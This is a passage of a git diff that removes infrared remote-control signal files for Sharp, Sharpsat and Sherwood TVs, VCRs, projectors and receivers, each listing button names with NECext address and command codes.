00 00 00 -command: 61 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir deleted file mode 100644 index 368229109..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: off_timer -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: TXT_TIME -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: SWITCH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: TXT_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: TXT_HOLD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: TXT_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: TXT_CANCEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: TXT_SIZE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: TXT_REVEAL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: P/C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: TXT_INDEX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: sig_up -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: sig_down -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: FUNCTIONS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir deleted file mode 100644 index d824fa381..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 01 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 02 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 04 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 05 00 00 00 -# -name: hdmi -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 06 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 08 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0D 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 10 00 00 00 -# -name: blank -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 13 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 14 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 15 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 16 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 1F 00 00 00 -# -name: dual -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 41 00 00 00 -# -name: prepr -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 44 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 45 00 00 00 -# -name: ypbpr -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 47 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 49 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 4A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 4B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 4C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 4D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 4E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 4F 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 50 00 00 00 -# -name: mix -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 51 00 00 00 -# -name: size -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 52 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 54 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 55 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 56 00 00 00 -# -name: reveal -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 57 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 58 00 00 00 -# -name: prlist -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 5A 00 00 00 -# -name: eco -type: parsed -protocol: NECext -address: 00 BD 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir deleted file mode 100644 index 65c5344d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 41 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 43 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 42 00 00 00 -# -name: dimmer -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 4A 00 00 00 -# -name: black_level -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 77 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 1E 00 00 00 -# -name: marker -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 3A 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 78 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 3B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 39 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 3C 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 38 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 1B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 1D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 1C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 21 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 22 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 23 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 0A 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 1F 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 7E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 35 00 00 00 -# -name: abrepeat -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 36 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 2E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 2D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 2F 00 00 00 -# -name: fwd_big -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 26 00 00 00 -# -name: direct_skip -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 7C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 27 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 30 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir deleted file mode 100644 index 8e5eee6bc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: CHILD_LOCK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir deleted file mode 100644 index 7feaed8d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: b1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: b2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: b3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: b4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: b5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: b6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: b7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: b8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: b9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: b0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: sound_off -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: txt_off -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: txt_size -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: txt_on -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: big_prog -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: c_p -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 -# -name: txt_100 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir deleted file mode 100644 index 23f08497d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: REC_STANDBY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: SP/LP/EP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: FRAME_ADVANCE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2F 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 30 00 00 00 -# -name: X2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 31 00 00 00 -# -name: ZERO_BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 83 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 84 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 8C 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 8D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir deleted file mode 100644 index cf28b790b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 17 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 39 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 57 00 00 00 -# -name: ADJUSTMENT_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9C 00 00 00 -# -name: ADJUSTMENT_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 9D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: C4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir deleted file mode 100644 index 29adeae33..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 08 00 00 00 -# -name: VH -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0A 00 00 00 -# -name: Mem -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0C 00 00 00 -# -name: Set -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 14 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 16 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 17 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 19 00 00 00 -# -name: DON -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir deleted file mode 100644 index d8bace1f8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 74 00 00 00 -# -name: SURR_MODE:_HALL -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 75 00 00 00 -# -name: SURR_MODE:_STADIUM -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 76 00 00 00 -# -name: SURR_MODE:_CHURCH -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 77 00 00 00 -# -name: OPTICAL_1 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 79 00 00 00 -# -name: ANALOG -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 7B 00 00 00 -# -name: SURR_MODE:_TRUE_SURR -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 7C 00 00 00 -# -name: DIGITAL_INPUT -type: parsed -protocol: NECext -address: 83 45 00 00 -command: E1 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: E3 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: E4 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: E5 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 